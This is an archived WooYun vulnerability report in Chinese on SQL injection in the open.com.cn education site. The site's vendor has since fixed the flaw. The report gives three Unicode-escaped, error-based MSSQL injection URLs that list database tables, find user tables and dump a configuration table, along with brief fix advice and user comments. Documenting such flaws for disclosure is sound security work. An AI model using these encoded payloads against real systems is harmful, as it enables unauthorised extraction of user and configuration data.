奥鹏教育主站SQL注入可获取用户信息配置信息等(IIS Unicode编码利用案例)

编号153106
Urlhttp://www.wooyun.org/bug.php?action=view&id=153106
漏洞状态厂商已经修复
漏洞标题奥鹏教育主站SQL注入可获取用户信息配置信息等(IIS Unicode编码利用案例)
漏洞类型SQL注射漏洞
厂商open.com.cn
白帽子Dota
提交日期2015-11-09 18:41:00
公开日期2015-11-10 10:47:00
修复时间2015-11-10 10:47:00
确认时间2015-11-10 00:00:00
Confirm Spend1
漏洞标签注入
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank15
漏洞简介
奥鹏教育主站SQL注入可获取用户信息配置信息等(IIS Unicode编码利用案例)
漏洞细节

http://www.open.com.cn/search_studycenternew/1/1.html?\u0027
1.获取表数据:
http://www.open.com.cn/search_studycenternew/1/0.html?\u0027\u002f\u002a\u002a\u002f\u0061\u006e\u0064\u002f\u002a\u002a\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u0028\u0069\u006e\u0074\u002c\u0028\u0073\u0065\u006c\u0065\u0063\u0074\u002f\u002a\u002a\u002f\u0074\u006f\u0070\u002f\u002a\u002a\u002f\u0032\u0030\u002f\u002a\u002a\u002f\u006e\u0061\u006d\u0065\u002f\u002a\u002a\u002f\u0066\u0072\u006f\u006d\u002f\u002a\u002a\u002f\u0053\u0079\u0073\u004f\u0062\u006a\u0065\u0063\u0074\u0073\u002f\u002a\u002a\u002f\u0057\u0068\u0065\u0072\u0065\u002f\u002a\u002a\u002f\u0078\u0074\u0079\u0070\u0065\u003d\u0027\u0055\u0027\u002f\u002a\u002a\u002f\u0046\u004f\u0052\u002f\u002a\u002a\u002f\u0058\u004d\u004c\u002f\u002a\u002a\u002f\u0050\u0041\u0054\u0048\u0029\u0029\u003d\u0031\u002f\u002a\u002a\u002f\u0061\u006e\u0064\u002f\u002a\u002a\u002f\u0027\u0061\u0027\u006c\u0069\u006b\u0065\u0027
2.用户表
http://www.open.com.cn/search_studycenternew/1/0.html?\u0027\u002f\u002a\u002a\u002f\u0061\u006e\u0064\u002f\u002a\u002a\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u0028\u0069\u006e\u0074\u002c\u0028\u0073\u0065\u006c\u0065\u0063\u0074\u002f\u002a\u002a\u002f\u0074\u006f\u0070\u002f\u002a\u002a\u002f\u0032\u0030\u002f\u002a\u002a\u002f\u006e\u0061\u006d\u0065\u002f\u002a\u002a\u002f\u0066\u0072\u006f\u006d\u002f\u002a\u002a\u002f\u0053\u0079\u0073\u004f\u0062\u006a\u0065\u0063\u0074\u0073\u002f\u002a\u002a\u002f\u0057\u0068\u0065\u0072\u0065\u002f\u002a\u002a\u002f\u0078\u0074\u0079\u0070\u0065\u003d\u0027\u0055\u0027\u002f\u002a\u002a\u002f\u0061\u006e\u0064\u002f\u002a\u002a\u002f\u006e\u0061\u006d\u0065\u002f\u002a\u002a\u002f\u006c\u0069\u006b\u0065\u0027\u0025\u0075\u0073\u0065\u0072\u0025\u0027\u002f\u002a\u002a\u002f\u0046\u004f\u0052\u002f\u002a\u002a\u002f\u0058\u004d\u004c\u002f\u002a\u002a\u002f\u0050\u0041\u0054\u0048\u0029\u0029\u003d\u0031\u002f\u002a\u002a\u002f\u0061\u006e\u0064\u002f\u002a\u002a\u002f\u0027\u0061\u0027\u006c\u0069\u006b\u0065\u0027
3.配置表
http://www.open.com.cn/search_studycenternew/1/0.html?\u0027\u002f\u002a\u002a\u002f\u0061\u006e\u0064\u002f\u002a\u002a\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u0028\u0069\u006e\u0074\u002c\u0028\u0073\u0065\u006c\u0065\u0063\u0074\u002f\u002a\u002a\u002f\u0074\u006f\u0070\u002f\u002a\u002a\u002f\u0031\u0030\u0030\u002f\u002a\u002a\u002f\u002a\u002f\u002a\u002a\u002f\u0066\u0072\u006f\u006d\u002f\u002a\u002a\u002f\u0053\u0079\u0073\u005f\u0043\u006f\u006e\u0066\u0069\u0067\u002f\u002a\u002a\u002f\u0057\u0068\u0065\u0072\u0065\u002f\u002a\u002a\u002f\u0031\u003d\u0031\u002f\u002a\u002a\u002f\u0046\u004f\u0052\u002f\u002a\u002a\u002f\u0058\u004d\u004c\u002f\u002a\u002a\u002f\u0050\u0041\u0054\u0048\u0029\u0029\u003d\u0031\u002f\u002a\u002a\u002f\u0061\u006e\u0064\u002f\u002a\u002a\u002f\u0027\u0061\u0027\u006c\u0069\u006b\u0065\u0027

POC

QQ截图20151109181716.png

QQ截图20151109181801.png

QQ截图20151109181815.png

修复方案

过滤特殊字符

状态信息 2015-11-09: 细节已通知厂商并且等待厂商处理中
2015-11-10: 厂商已经确认,细节仅向厂商公开
2015-11-10: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复联系研发人员修复
回应信息危害等级:高漏洞Rank:15 确认时间:2015-11-10 09:02
Showing 1-9 of 9 items.
评论内容评论人点赞数评论时间

mark

f4ckbaidu02015-11-10 10:08:00

这么吊,我就要看看

糖剩七颗02015-11-10 09:43:00

卧槽这姿势厉害,学习了

牛 小 帅02015-11-10 09:27:00

围观

暴走02015-11-09 22:06:00

charunicodeencode ?

hecate02015-11-09 19:55:00

会玩。。第一次看见实例

Getshell02015-11-09 18:58:00

牛批

sqlfeng02015-11-09 18:48:00

洞主你咋发现的啊,牛逼大了

疯狗02015-11-09 18:43:00

这个漏洞有亮点,我给首显

浩天02015-11-09 18:42:00